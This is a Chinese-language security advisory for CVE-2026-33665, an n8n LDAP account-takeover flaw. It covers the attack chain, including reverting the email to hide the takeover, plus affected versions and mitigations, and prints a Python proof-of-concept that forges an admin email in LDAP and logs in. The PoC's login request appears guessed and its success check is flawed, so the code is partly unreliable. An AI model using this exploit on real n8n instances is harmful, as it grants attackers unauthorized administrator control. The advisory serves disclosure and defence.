IPBUF安全漏洞报告
English
CVE-2026-33665 CVSS 7.5 高危

CVE-2026-33665 n8n LDAP账户接管漏洞

披露日期: 2026-03-25

漏洞信息

漏洞编号
CVE-2026-33665
漏洞类型
认证绕过/权限提升
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
n8n

相关标签

认证绕过权限提升n8nLDAP账户接管CVE-2026-33665

漏洞概述

n8n开源工作流平台在启用LDAP认证时存在严重逻辑缺陷。由于系统会将LDAP邮箱与本地账户自动关联,攻击者若能控制自身LDAP邮箱属性,将其修改为管理员邮箱后登录,即可触发账户关联,获得管理员权限。该接管过程永久有效,即使攻击者改回邮箱,权限依然存在。

技术细节

该漏洞的核心在于n8n处理LDAP身份映射时的逻辑缺陷。当LDAP认证开启后,n8n会自动将LDAP条目的email属性与系统内已存在的本地用户email进行比对,一旦匹配即建立永久关联。攻击者只需具备LDAP登录权限且拥有修改自身LDAP属性(如mail字段)的能力,即可实施攻击。具体步骤是将自己的LDAP邮箱修改为目标管理员的邮箱,随后登录n8n。系统检测到邮箱一致,误将攻击者识别为管理员并完成账户绑定。由于这种绑定是永久性的,攻击者事后即使将LDAP邮箱改回原样,下次登录仍能直接获取管理员权限,构成严重的账户接管风险。

攻击链分析

STEP 1
步骤1:环境侦察
攻击者确认目标n8n实例启用了LDAP认证,并且攻击者拥有有效的LDAP账户及修改自身属性(如email)的权限。
STEP 2
步骤2:属性篡改
攻击者连接到LDAP服务器,将自己账户的email属性修改为目标管理员的email地址。
STEP 3
步骤3:触发关联
攻击者使用LDAP凭证登录n8n。n8n读取到LDAP返回的email与管理员一致,自动将LDAP身份与本地管理员账户绑定。
STEP 4
步骤4:维持权限
攻击者成功获取管理员权限。为了隐蔽,攻击者可以将LDAP email改回原值,但n8n中的账户链接已永久建立,后续仍可登录管理员账户。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import ldap3 import requests # Configuration ldap_server = 'ldap://example.com' ldap_user_dn = 'cn=attacker,ou=users,dc=example,dc=com' ldap_password = 'attacker_password' target_admin_email = '[email protected]' n8n_login_url = 'https://n8n-instance.com/rest/login' # Step 1: Attacker modifies their own LDAP email attribute to match the admin's email try: server = ldap3.Server(ldap_server) conn = ldap3.Connection(server, user=ldap_user_dn, password=ldap_password, auto_bind=True) # Modify the 'mail' attribute conn.modify(ldap_user_dn, {'mail': [(ldap3.MODIFY_REPLACE, [target_admin_email])]}) if conn.result['description'] == 'success': print("[+] Successfully updated LDAP email to target admin email.") conn.unbind() except Exception as e: print(f"[-] LDAP modification failed: {e}") exit() # Step 2: Attacker logs in to n8n using their LDAP credentials # n8n sees the email matches the local admin account and links the identities session = requests.Session() payload = { 'email': target_admin_email, # n8n receives this from LDAP header or lookup 'password': ldap_password, 'isLdap': True } response = session.post(n8n_login_url, json=payload) if response.status_code == 200 and 'cookie' in response.headers or 'token' in response.json(): print("[+] Login successful. Account takeover completed.") print("[+] Session established. Attacker now has admin access.") else: print("[-] Login failed.")

影响范围

n8n < 2.4.0
n8n < 1.121.0

防御指南

临时缓解措施
如果无法立即升级,建议采取以下临时缓解措施:1. 禁用LDAP认证功能直到升级完成;2. 严格限制LDAP目录权限,禁止普通用户修改自身的email属性;3. 审计现有的LDAP关联账户,检查是否存在异常的账户绑定关系。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表